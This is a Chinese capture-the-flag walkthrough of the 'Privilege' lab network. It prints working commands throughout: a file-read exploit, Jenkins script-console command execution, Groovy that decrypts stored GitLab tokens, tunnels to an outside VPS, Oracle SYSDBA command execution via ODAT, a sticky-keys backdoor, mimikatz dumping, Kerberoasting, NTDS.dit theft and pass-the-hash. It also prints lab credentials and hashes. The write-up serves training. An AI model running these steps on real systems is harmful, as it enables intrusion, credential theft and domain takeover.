春秋云镜 Privilege

春秋云镜 Privilege

flag1

fscan看到开了8080和3306,应该是windows,还有个www.zip备份文件

image-20260108194806040

访问8080,看到jenkins

image-20260108192826951

还有个80,是wordpress

用wpscan扫一下

1
wpscan --disable-tls-checks --url http://39.98.118.36 --stealthy

探测出了wordpress版本6.2.2,blossom-shop主题,感觉没什么用

image-20260108193908130

下载www.zip

用Kunlun-M审下sink,刚好想用这个,我用的2.6.5,先装了一遍2.6.30,dockerfile有点问题

https://github.com/LoRexxar/Kunlun-M

改下dockerfile,加个pkg-config

1
2
docker build -t kunlun-m -f ./docker/Dockerfile .
docker run -d -p 9999:80 kunlun-m

image-20260108201818127

然后在9999端口能访问

直接docker里面上传源码开扫

1
python3 kunlun.py scan -t WWW/

image-20260108204656687

好像有点狗屎,扫的时候老是报错,不如古法seay一根了

tools/content-log存在任意文件读取

image-20260108205405025

image-20260108205517310

前面提到开了3306,直接读windows下的flag

1
http://39.98.118.36/tools/content-log.php?logfile=C%3A%2F%2FUsers%2FAdministrator%2Fflag%2Fflag01.txt

image-20260108205841567

flag01: flag{235e5db5-23e9-452f-9412-90a54a2cfc3a}

flag2

有hint C:\ProgramData\Jenkins.jenkins, 读jenkins配置文件

image-20260108205911083

Jenkins 的默认管理员用户名是: admin

密码存储在你服务器上的一个特定文件中。文件的路径通常在 Jenkins 首页或日志中有提示。

最常见的路径是:

Linux/macOS/Docker 环境: /var/lib/jenkins/secrets/initialAdminPassword

Windows 环境: C:\Program Files\Jenkins\secrets\initialAdminPassword

那么这里读C:\ProgramData\Jenkins.jenkins\secrets\initialAdminPassword

得到510235cf43f14e83b88a9f144199655b

进到jenkins后台

image-20260108210224955

Jenkins 作为一个高度可扩展的CI/CD工具,后台可以直接命令执行很正常吧。正常功能

网上很多jenkins后台命令执行,还能绕检测

脚本命令行接口位于/manage/script,看下什么权限先

image-20260108212024544

域管理员权限,借助前面的3306,直接添加用户

1
2
println "net user godown qwer1234! /add".execute().text
println "net localgroup administrators godown /add".execute().text

rdp上去,上传fscan扫下内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
C:\Users\godown\Desktop>ipconfig

Windows IP 配置


以太网适配器 以太网:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::3134:1d18:4e18:56c6%3
IPv4 地址 . . . . . . . . . . . . : 172.22.14.7
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . : 172.22.255.253

C:\Users\godown\Desktop>fscan64.exe -h 172.22.14.7/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.16:8060 open
172.22.14.7:8080 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[+] NetInfo:
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[+] NetInfo:
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[+] NetInfo:
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] 172.22.14.31 WORKGROUP\XR-ORACLE
[*] 172.22.14.46 XIAORANG\XR-0923
[*] 172.22.14.11 [+]DC XIAORANG\XR-DC
[+] NetInfo:
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] WebTitle:http://172.22.14.7:8080 code:403 len:548 title:None
[*] WebTitle:http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle:http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle:http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle:http://172.22.14.16/users/sign_in code:200 len:32807 title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file
已完成 22/22
[*] 扫描结束,耗时: 2m28.6718773s
C:\Users\godown\Desktop>

整理一下

1
2
3
4
5
172.22.14.7 本机
172.22.14.16 GitLab
172.22.14.31 WORKGROUP\XR-ORACLE
172.22.14.46 IIS Windows Server XIAORANG\XR-0923
172.22.14.11 DC域控

flag2 hint 尝试获取Git API Token,然后应该是在gitlab上获取oracle账密

image-20260109101535858

在jenkins配置目录下找到了credentials.xml,里面有GitLabApiTokenImpl

image-20260109101818009

直接问gpt怎么解密

image-20260109102119870

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl

def credentials = CredentialsProvider.lookupCredentials(
GitLabApiTokenImpl.class,
Jenkins.instance,
null,
null
)

credentials.each { cred ->
println("ID: " + cred.id)
println("Description: " + cred.description)
println("API Token: " + cred.apiToken.plainText)
}

image-20260109102228386

得到 gitlab api token

1
API Token: glpat-7kD_qLH2PiQv_ywB9hz2

前面fscan扫出的gitlab机器为172.22.14.16,仓库的通用接口是api/v4/projects/,带上token可以访问

先代理出来,然后curl

1
2
3
gost -L socks5://:5555?bind=true

gost -L rtcp://:2222/39.99.152.149:22 -F socks5://39.99.152.149:5555
1
curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/"

一共5个project

image-20260109103311358

重点关注internal-secret和xradmin仓库(0&1)

image-20260109103338109

git clone下来

1
2
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git

internal-secret仓库是一堆账密

image-20260109103556977

xradmin扒下来是ruoyi的源码

ruoyi用的spring,配置文件里肯定有数据库的账密,在ruoyi-admin下application-druid中找到了数据库的账密

image-20260109103950073

            url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
            username: xradmin
            password: fcMyE8t9E4XdsKf

试了下Mdut连不上,用odat

ODAT(Oracle数据库攻击工具)可远程测试Oracle数据库的安全性。是一个rce+提权的工具

根据官网,数据库中有一个有效的Oracle账户,用odat可能将权限从普通DBA升级为SYSDBA

DBA 是 Oracle 数据库中的预定义角色,包含了一系列数据库管理权限。

SYSDBA 是 Oracle 数据库的最高权限级别,用于数据库实例的管理。

既然能提权,那直接添加用户

1
2
3
4
5
sudo vi /etc/proxychains4.conf
socks5 39.99.152.149 5555

proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user test2 Abcd1234 /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators test2 /add'

image-20260109105735329

xfreerdp顺便连了

1
2
apt install freerdp3-x11
proxychains4 xfreerdp3 /v:172.22.14.31 /u:test2 /p:Abcd1234

image-20260109110652013

flag02: flag{b6d04188-c08d-4faf-9ede-352e97bcfdd4}

flag3

前面的账密,可以用cme去域内爆破,不过有个主机是XR-0923,账户里面也有一个XR-0923,可以直接rdp上去172.22.14.46

XR-0923 | zhangshuai | wSbEajHzZs

net user zhangshuai看下权限,权限不够的话要提权

这里zhangshuai没在Administrator组里面,所以要提权

image-20260109111047795

whoami /priv看下,有SeChangeNotifyPrivilege权限(另外一个已被禁用)

image-20260109111329854

根据下文,如果目标开了winrm服务(默认端口5985或者5986)(通常Server 2012及之后的版本直接开启,这里是winServer 2022)

https://forum.butian.net/share/2080

image-20260109111636657

一般是用Winrs.exe进行认证登陆,但是这个工具不支持hash认证,evil-winrm支持hash认证winrm服务

另外,注册表中LocalAccountTokenFilterPolicy的值默认为0,在这种默认情况下,只有系统默认管理员账户Administrator(SID 500)拥有凭证可以进行对主机的连接,本地管理员组的其他用户登录时将会显示拒绝访问

但是域管理账户在域内主机中登录,会自动将域管用户添加到本地管理组中,如果是将普通域用户添加到系统本地管理员组,两种方法是默认bypassuac的,这时候域管理账户与普通域用户是拥有WinRM远程连接的凭证,无需要修改注册表就可以使用WinRM进行远程连接。

这里zhangshuai明显是一个普通域用户,所以可以winrm登陆上去,先尝试修改访问权限

1
winrm set winrm/config/client @{TrustedHosts="172.22.14.7"}

image-20260109113350389

我曹,软的不行,那来硬的,用evil-winrm认证

1
proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

winrm认证上去后多出了一个seRestorePrivilege权限

image-20260109113650194

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

根据上文,该权限对当前系统任意文件都有写权限

image-20260109113828994

劫持一下粘滞键,因为粘滞键包是system权限

1
2
3
cd c:\windows\system32
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

rdp上去,Win+L进锁屏页面(千万别登陆进去,因为锁屏页面是system权限,登进去再按就是普通用户权限了),然后按5次shift

image-20260109153905810

flag03: flag{78e30f67-3f8f-4945-8288-44d7373d056f}

flag4

添加用户,方便一点

1
2
3
net user godown qwer1234! /add
net localgroup administrators godown /add
proxychains4 xfreerdp3 /v:172.22.14.46 /u:godown /p:qwer1234!

上传mimikatz,然后dump票据(管理员权限运行

1
2
privilege::debug
sekurlsa::logonpasswords

用xiaorang.lab的域机器用户 XR-0923$ NTLM

这里用时间最近的一个NTLM,因为前面的可能过期了。

lsass.exe 进程的内存中提取登录凭据。

  • lsass.exe 是 Windows 的“本地安全认证子系统服务”。它负责管理系统的安全策略、用户认证,并在内存中缓存用户的登录凭据,以便用于后续的网络资源访问(如文件共享、访问其他服务器等)

这里结尾有个$,与标准用户账户相比,机器账户的名称末尾附加了“$”符号,利用该账户进行Kerberosast攻击

image-20260109155011100

  • 目的:发现域中所有注册了SPN的服务账户
  • 原理:SPN是服务在Kerberos认证中的唯一标识符。查询SPN可以找出哪些账户用于运行服务(如SQL服务、Web服务等)
  • 意义:服务账户通常具有较高权限

image-20260109162834826

1
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.14.11 xiaorang.lab/XR-0923$ -hashes ':348bd1c31a87e92b4d7b14b7d44d3e8c'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
──(root㉿kali)-[/home/kali]
└─# proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.14.11 xiaorang.lab/XR-0923$ -hashes ':348bd1c31a87e92b4d7b14b7d44d3e8c'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
/usr/lib/python3/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 39.99.152.149:5555 ... 172.22.14.11:389 ... OK
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------- -------- -------------------------------------------------------- -------------------------- --------- ----------
TERMSERV/xr-0923.xiaorang.lab tianjing CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab 2023-05-30 06:25:11.564883 <never>
WWW/xr-0923.xiaorang.lab/IIS tianjing CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab 2023-05-30 06:25:11.564883 <never>



[-] CCache file is not found. Skipping...
[proxychains] Strict chain ... 39.99.152.149:5555 ... 172.22.14.11:88 ... OK
[proxychains] Strict chain ... 39.99.152.149:5555 ... 172.22.14.11:88 ... OK
[proxychains] Strict chain ... 39.99.152.149:5555 ... 172.22.14.11:88 ... OK
$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$2f0e5b71ac069063c2ae031fe83aae97$d74618c5be957aface9fe1d3fc73da5eb184d4d2e8e602d1872975f2663211afca7f0047c26e19f127edfae1a876f6f74ca7c91dc0298a28e071c7e6f18c088433277e05ae252ba31f35e893372f5e7b4219d3dec14f19d6cd6c5969458aa6d2d1dcc73b16da05685c74186ccbae41fe538d14c6829f65fed96ac1cdaf70931309f454c180868eaca8933297b31f36312e7d15e97ed2a7754e9cf864767e9ba9dc026770790641e40b9ae205c169d6f8ab4b37626aa5cdbc683e21146b387caec03e77bdef323b4f012c2e78b5c32c5c4de64d656dae7935aa1207886a95bc952804250505fa47b0a9c1ea27129c3f75c993e416b005619a7178a4ad8ab130fb525a26068f6e350d034a1af5a696cd01966aaa9a8310d0929f63f8516960db539c2358ddda7edd58f71be28ee5b4a8a7cc8bec89136904f3a3b69f9c7eb963d2809b8e4b26e45e81544e09b0e765bbc5bc94299d6c09a5985d6108e9d83a2668788b297016c5e4f71f52818b0359b1ef0acb4e9c87bcb25fbad5d7bb27a91d4030b545245f73b135a9b12e6bad3d4d0b168efcffef7a8f19278343f57012371d425d3ee7c92127d87685363a4e29e6ca42365f2ff49d6b4418735827fd04a7026f325cc1add54c8363846d5d16b72bd8962ada79b28a225bd6f6acb5f84ff3eca2ae60a2bb6968f9dfd2e1ebffb13bfb99ab8cbbf6ea46b887e3358894c6af4c28b247f9b4032ca7aaca6f4b823823a294d0cc9cab3fe75b6d9fd55bdef5247fd03eb5c420cdb4d5e2196c1fb5c5abb005766e1a1b8f3b1d8256f4ee538e8202339a7e0fa1d2bedd49a2ddf86cbe9e576ee62389f0da6dd3c32264dff95e7d0f890d8f2ca95555059dcbf1d6ff7d19dab7029e5879570e19b3af9271d234e0f60c3464f146c86f51c1b447e3dbec3ca874fd33693108bc9af347daefddafd469532afff5c9bec00ee017fdfe461e32695348a8db47c377e3dfbdfd96a4cc5256799a301e92bd1e78946ccba0dada605c36974f39b6ede8dc8a9cea8fa9ae0a65acc7b70c481e088ee3190d7586874da0785c3a76a69bc5994c70897af5c617bb54da326078698492c8b2b0f1925cfbcfb35a98a575d5ce6186184c6b9f2324b577051e52d7e341cb5a044b9782d4a8d2842f5bbaf5a9a4b521699fe7a81d77f6de7ff0535b34eac82e564e9eb32792fb5755f9df0716ab1bb75fe9eeed03c3032efb04636210419fd42c37a3ddbf99c33116b875f547c81cc685ba522c1432bb322e71b8307a163b243d5cde557c4e5c3dc0c0d9616c59dd22163c6d4b1c235e54746e5a19357a75092fade479d8a0bfb3b4c62d3f3e45e89a66819427df3e2c980d3bead0910dfbdfc0f523581e31058df3f41d8024d83e8384c35a2b717514e6f9a80f47ca07333c8c211c7021d129f5f0c29d604554d98fcc63b024debfa4c073245fb14b5fb68f6501995f317c7c376b9980c6

扫到一个tianjing用户的krb5tgs,白银票据的打法

用hashcat爆破之

hashcat -m 13100 -a 0 1.txt rockyou.txt –force

image-20260109163344912

密码为DPQSXSXgh2

根据前面的Kerberosast:

WWW/xr-0923.xiaorang.lab/IIS tianjing CN=Remote Management Users

该用户也是Remote Management User,和zhangshuai的机器一样,推测也开了5985端口的winrm服务

1
proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

登上去后发现也是开了SeRestorePrivilege

image-20260109163752605

故技重施再打一遍:

1
proxychains4 xfreerdp3 /v:172.22.14.11 /u:tianjing /p:DPQSXSXgh2

报错,配置了不能rdp上去

image-20260109164338326

那各种劫持就没法用了

里面有个SeBackupPrivilege,有备份权限,虽然这里不能直接用type去读

image-20260109165626922

  • 卷影拷贝:

卷影拷贝是Windows操作系统中的一种快照技术,由卷影复制服务提供支持。它能在文件系统层面创建时间点副本(Point-in-Time Copy),即使文件正在被使用或锁定,也能生成一致的副本。

低权限访问:默认情况下,用户只需备份操作员权限即可创建卷影拷贝。

一般打法如下:

1
2
3
4
5
6
7
8
9
># 创建C盘的卷影拷贝
>vssadmin create shadow /for=C:

># 从卷影拷贝中复制SAM、SYSTEM等文件
>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

># 使用mimikatz/secretsdump提取哈希
>secretsdump -sam SAM -system SYSTEM LOCAL

有了SAM和SYSTEM就能提取哈希,刚好11主机是域控,取出的hash也就是域控hash

本地windows创建一个raj.dsh,确保为windows格式

1
2
3
4
set context persistent nowriters
add volume c: alias raj
create
expose %raj% g:

DiskShadow命令,用于创建和暴露卷影拷贝(Volume Shadow Copy)

  • set context persistent:设置卷影拷贝为持久性,不会自动删除

  • nowriters:创建时不通知应用程序(如数据库)刷新数据到磁盘

  • **add volume c:**:将C盘添加到快照集

  • **alias raj**:为这个卷分配别名”raj”(攻击者随意命名)

  • create:根据前面的设置,为C盘创建时间点快照

  • **%raj%**:引用前面定义的别名

  • **expose ... g:**:将卷影拷贝挂载为g盘

然后上传

1
upload raj.dsh

用diskshadow执行dsh脚本

1
diskshadow /s raj.dsh

如果报错无法将 .cab存储到当前目录中,是因为对当前目录没有写权限,去c盘下创建一个tmp执行

1
2
cd c:
mkdir tmp

image-20260109172002706

复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表

1
2
RoboCopy /b g:\windows\ntds . ntds.dit
download ntds.dit

从g:\windows\ntds目录复制ntds.dit文件到当前目录(.)并命名为ntds.dit

现在ntds.dit就是windows的备份文件,里面有SAM

现在转存下载system,system位于注册表中

1
2
reg save HKLM\SYSTEM system
download system

用secretdump解密

1
impacket-secretsdump -ntds ntds.dit -system system local

image-20260109173138844

pth上去

1
proxychains4 crackmapexec smb 172.22.14.11 -u administrator -H 70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"

image-20260109173211704

flag04: flag{e69b59c8-4b64-43ad-a8e3-c371f315826f}

下一篇:
hibernate反序列化